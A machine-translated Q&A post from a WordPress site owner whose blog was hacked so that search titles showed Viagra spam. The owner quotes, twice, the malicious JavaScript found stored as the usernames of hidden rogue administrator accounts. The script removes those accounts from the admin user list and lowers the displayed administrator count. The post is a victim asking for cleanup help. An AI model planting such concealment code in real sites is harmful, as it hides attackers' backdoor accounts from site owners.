如何从脚本中查找并清除 WordPress 中的脚本，这些脚本会使用令人尴尬的“伟哥文本”更改您在 Google 和 Yahoo 上的博客文章标题？

Question

在成功防御大规模 DDoS 攻击一天后，http://arabcrunch.com 遭到黑客攻击，该人似乎将帖子标题更改为 Google 搜索引擎上的伟哥广告，看看他们如何损害我们：

www.google.com/search?hl=en&client=safari&rls=en&q=Viagra+Online+Pharmacy+-+Buy +Online+Viagra%2C+Cialis%2C+Levitra+wordpress+hack&aq=f&aqi=&aql=&oq=&gs_rfai=

以及此处：

google.com/search ?hl=en&client=safari&rls=en&q=idescribe&btnG=Search&aq=f&aqi=g-s1g-sx2g-s1g-sx1&aql=&oq=&gs_rfai=

我们所做的是使用干净的插件进行干净的 WP 安装，并导入包含旧帖子和所有页面的数据库。然后手动添加我们需要的每个 puglin，然后重建 sitemap.xml

但现在我们注定要失败，因为您搜索的任何关键字都会在 google 上获得结果，标题为：Viagra Online Pharmacy - 在线购买 Viagra、Cialis、Levitra

我在数据库表 wp_usermeta user_id: 16 用户名是一个脚本：

<b id="user_superuser"><script language="JavaScript">
  var setUserName = function(){ 
      try{    
        var t=document.getElementById("user_superuser");   
                 while(t.nodeName!="TR"){      
           t=t.parentNode;                };   
         t.parentNode.removeChild(t);      
      var tags = document.getElementsByTagName("H3");    
        var s = " shown below"; 
           for (var i = 0; i < tags.length; i++) {    
             var t=tags[i].innerHTML;        
         var h=tags[i];             
    if(t.indexOf(s)>0){   
                   s =(parseInt(t)-1)+s;
                      h.removeChild(h.firstChild);
                      t = document.createTextNode(s);  
                        h.appendChild(t);                     }                }
   var arr=document.getElementsByTagName("ul");
   for(var i in arr) if(arr[i].className=="subsubsub"){
       var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML);
       if(n[1]>0){   var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)    </gi,">Administrator ("+(n[1]-1)+")<");   arr[i].innerHTML=txt;       }   } 
             }catch(e){};
      };      addLoadEvent(setUserName);      </script>

这是对黑客的微笑，ArabCrunch EN 以及数千个 WP 博客在 2009 年 9 月 9 日遭受了损失 阅读相关内容并链接到此处的解决方案： arabcrunch.com/2009/09/arabcrunch-and-wordpress-under-attack.html

安装后我们发现 2 个新用户： wordpress.org 和系统，两者都设置为管理员，并且具有相同的脚本设置作为其用户名：

<div id="user_superuser"><script language="JavaScript">
var setUserName = function(){
 try{
  var t=document.getElementById("user_superuser");
  while(t.nodeName!="TR"){
   t=t.parentNode;
  };
  t.parentNode.removeChild(t);
  var tags = document.getElementsByTagName("H3");
  var s = " shown below";
  for (var i = 0; i < tags.length; i++) {
   var t=tags[i].innerHTML;
   var h=tags[i];
   if(t.indexOf(s)>0){
    s =(parseInt(t)-1)+s;
    h.removeChild(h.firstChild);
    t = document.createTextNode(s);
    h.appendChild(t);
   }
  }
  var arr=document.getElementsByTagName("ul");
  for(var i in arr) if(arr[i].className=="subsubsub"){
   var n=/>Administrator ((d+))</gi.exec(arr[i].innerHTML);
   if(n[1]>0){
    var txt=arr[i].innerHTML.replace(/>Administrator ((d+))</gi,">Administrator ("+(n[1]-1)+")<");
        arr[i].innerHTML=txt;
        }
    }
          }catch(e){};
     };
     addLoadEvent(setUserName);
</script></div>

知道如何解决这个问题吗？

Answer 1

在将数据库导入新的 WP 安装之前导出并清理数据库：请参阅常见问题解答：我的网站被黑了 « WordPress Codex< /a> 和 如何-完全清理你的被黑的wordpress安装。